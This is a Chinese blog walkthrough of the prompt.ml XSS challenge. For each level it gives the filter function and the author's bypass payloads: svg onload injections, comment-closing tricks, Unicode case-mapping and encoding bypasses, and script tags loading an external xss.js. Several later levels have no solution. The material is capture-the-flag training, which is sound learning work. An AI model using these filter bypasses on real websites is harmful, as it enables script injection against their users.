Prompt 1 to win

admin 2024年4月3日09:30:21评论2 views字数 9110阅读30分22秒阅读模式

平台地址:http://prompt.ml/

0. 轻松的开始

function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}

payload

">';<script>prompt(1)</script>>
"><svg/onload=prompt(1)>
"><img src="x" onerror=prompt(1)>

"onresize=prompt(1)>

1. 过滤 </

function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

/<\/?[^>]+>/gi 限定了 gi 意味着大小写和双写是绕不过的

(或许可以参考 PHP利用PCRE回溯次数限制绕过某些安全限制 思路,但是没多大意义)

payload

<svg/onload=prompt(1)  // (1) 后有空格

2. 过滤 =(

function escape(input) {
//v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}

payload

( 用 html 实体编码绕过
// Firefox
<svg><script>prompt(1)<b>
// Chrome
<svg><script>prompt(1)</script>
// ES6
<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}`</script>

3. 注释符

function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

payload

--> 和 --!> 都能闭合注释
--!><svg/onload=prompt(1)

4. 假同域

function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i
.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

分析

// sample script: http://prompt.ml/js/test.js

看上去只能引用同域下的 js,但这里有个 decodeURIComponent 进行解码,很容易编码绕过。

%2f/ 的 URL 编码形式,浏览器将识别为普通的字符,再利用下 @,这种技巧 SSRF 当中经常遇到。

payload

//prompt.ml%[email protected]/xss.js

一直不弹窗,打开 F12,发现了下面这个,原来是被 Chrome 拦截了
Provisional headers are shown

5. 未多行匹配

function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

分析

没未启多行匹配,换行即可绕过一些限制,这一点很管用。

payload

type=image定义图像形式的提交按钮。
"type=image src onerror
="prompt(1)

6. form 属性

function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

payload

javascript:prompt(1)#{"action":1}
vbscript:prompt(1)#{"action":1}

后面的 action 覆盖了,可以过正则,但我的疑问是覆盖掉了,前面的 action 值不会变吗
看输出的HTML,<form action='' 这里直接是第一个值,验证的时候是document.forms[0].action,
应该是这里的问题,再好好想想

7. 长度限制

function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

payload

我的第一想法是,存起来,然后在拼一下,然而不太现实
”><svg/onload'/*#*/=prompt(1) 直接这样的话长度会超了
这个操作太强了
"><svg/a=#"onload='/*#*/prompt(1)'
<p class="comment" title=""><svg/a="></p><p class="comment" title=""
onload='/*"></p><p class="comment" title="*/prompt(1)'"></p>

单引号没必要吧,"><svg/a=#"onload=/*#*/prompt(1)


"><script x=#"async=#"src="//⒛₨

<p class="comment" title=""><script x="></p>
<p class="comment" title=""async="></p>
<p class="comment" title=""src="//⒛₨"></p>

Background Info
The async attribute allows to utilize un-closed script elements. So this works in MSIE - a very useful trick: <script src="test.js" async>

8. 换行符

function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

payload

补充知识
Javascript 中 valid line separators 除了\r \n,还有:
\u2028 (Line Separator)
\u2029 (Paragraph Separator)
--> 在js中可以当作注释符(单行注释)

[\U2028]prompt(1)[\u2028]-->
一直不弹窗,字符打不出来?

9. 特殊字符献奇招

function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

payload

code-breaking 中 easy-nodechr 类似,形近字绕过
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
混入了两个奇特的字符"ı""ſ"
这两个字符的“大写”是I和S。也就是说
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
通过这个小特性可以绕过一些限制。

<ſvg/onload=prompt(1)
此路不通,prompt 大写失效

unicode码包含了许多国家的语言文字,有一些语言的字母调用Upper函数进行大写,由于没有对应的大写文字,会自动转换为英文字母,而在url中,协议和域名是不区分大小写
<ſvg><ſcript/href=//127.0.0.1/xss.js>
<ſcript/ſrc=//127.0.0.1/xss.js></ſcript>

10. 多次过滤帮倒忙

function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

payload

前后呼应
p'rompt(1)

11.

function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

payload

小 trick
"string"(prompt(1)) 将正常执行
"(prompt(1))in"
这里的 in 还可以用 instanceof 替代

Same story with alert(1)in"test":
TypeError: Cannot use 'in' operator to search for 'undefined' in test

12

function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

payload

encodeURIComponent() 不会对 ASCII 字母和数字进行编码,
也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。
尝试使用 String.fromCharCode(112, 114, 111, 109, 112, 116),但是 , 被编码

.() 不会被编码,所以可以利用 toString() 构造
toString(radix) 中 radix 为 2-36 可以选36使其作为一个进制,将字符包含起来
使用parseInt(str, radix) 将字符转为数字之后使用(number).toString(radix) 然后用eval进行调用
注意number有括号,(number).toString(radix) 可简写为 (numbrer..toString(radix) ,字符之间用concat()连接
parseInt('prompt', 36) //1558153217
eval((1558153217).toString(36))(1)

还可以
eval(1558153217..toString(36))(1)

甚至可以直接暴力循环着self里的函数,找到prompt:
for((i)in(self))eval(i)(1)

13

 function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://cn-sec.com/wp-content/uploads/2024/04/20240402081817-77.jpg"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

payload

14

function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');

return '<img src="' + input + '">';
}

payload

15

function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

payload

与第 7 关类似,但是 /* 被过滤
那这里就可以用 HTML 的注释符
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

源码将变成:
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>

-1

function escape(input) {
// WORLD -1
// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');

return ' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'.replace('{{injection}}', input);
}

-2

function escape(input) {
// Christmas special edition!
// Ho ho ho these characters are in Santa's naughty list
input = input.replace(/[!=*`]/g, '');
// pass in your wishes like pets#toys#half-life3...
var segments = input.split('#');

return segments.map(function(title, index) {
// Don't be greedy! Each present can only contain 20 characters
return '<p class="present" title="' + title.slice(0, 20) + '"></p>';
}).join('\n');
}

-3

function escape(input) {
// I iz fabulous cat
// cat hatez dem charz
var query = input.replace(/[&#>]/g, '');
var script = document.createElement('script');
// find me on Twttr
script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';
return '<input name="query" type="hidden" value="' + query + '">' +
script.outerHTML;
}

-4

function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');

return '<body onload="think.out.of.the.box(' + input + ')">';
}

分析

被过滤了,

payload

- By:wywwzjj.top

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月3日09:30:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Prompt 1 to winhttp://cn-sec.com/archives/2624256.html

发表评论

匿名网友 填写信息